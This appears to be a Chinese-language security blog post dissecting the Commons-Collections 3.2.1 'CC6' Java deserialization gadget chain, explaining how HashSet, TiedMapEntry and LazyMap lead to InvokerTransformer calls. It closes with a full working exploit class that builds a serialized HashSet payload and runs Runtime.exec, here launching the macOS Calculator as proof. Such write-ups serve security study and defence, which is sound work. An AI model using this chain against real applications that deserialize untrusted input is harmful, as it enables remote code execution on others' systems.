前言
前一篇分析了CC1的链子,这篇来分析一下针对高版本jdk的CC6,这一条也可以说是比较常用的链子了。
影响范围
在Jdk 7和8的⾼版本触发,没有版本限制
配置环境
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
Commons-Collections-6
前面这一部分跟CC1的一样,只不过多了一个Faketransformer,目的是为了在序列化的时候不触发执行。
跟随代码来到TiedMapEntry#TiedMapEntry,可以看到这里对this.map赋值为lazyMap类。
经过hashSet.add方法后会调用getValue()方法,跟进一下该方法的实现。
可以看到这里的map.get(key),所以上面对this.map赋值其实是为了调用lazyMap类的get方法。 触发lazyMap#get后就跟CC1一样可以执行代码了。
那么这里多了一个lazyMap.remove去除前面加入的键值有什么意义么。
尝试把lazyMap.remove那一行注释掉就可以发现在lazyMap类的get方法中无法进入if分支,也就无法到factory.transform()来执行指令。
先看到实现序列化接口的HashSet类中的readObject方法,这里实例化了HashMap对象,并调用了map.put()方法。 而map.put()方法中的e参数只要可控即可利用。
来到序列化的点可以看到这里writeObject方法,e为for循环获取到的key值。 所以把TiedMapEntry对象注入到HashMap的Key值中即可完成利用。
EXP
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class Poc1 {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
Transformer Faketransformer = new ChainedTransformer(new Transformer[]{});
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[]{}}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[]{}}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"/System/Applications/Calculator.app/Contents/MacOS/Calculator"})
};
Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, Faketransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "test1");
HashSet hashSet = new HashSet(1);
hashSet.add(tiedMapEntry);
lazyMap.remove("test1");
// 通过反射覆盖原本的iTransformers,防止序列化时在本地执行命令
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(Faketransformer, transformers);
ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));
Object o = (Object) ois.readObject();
}
}
There Is Nothing Below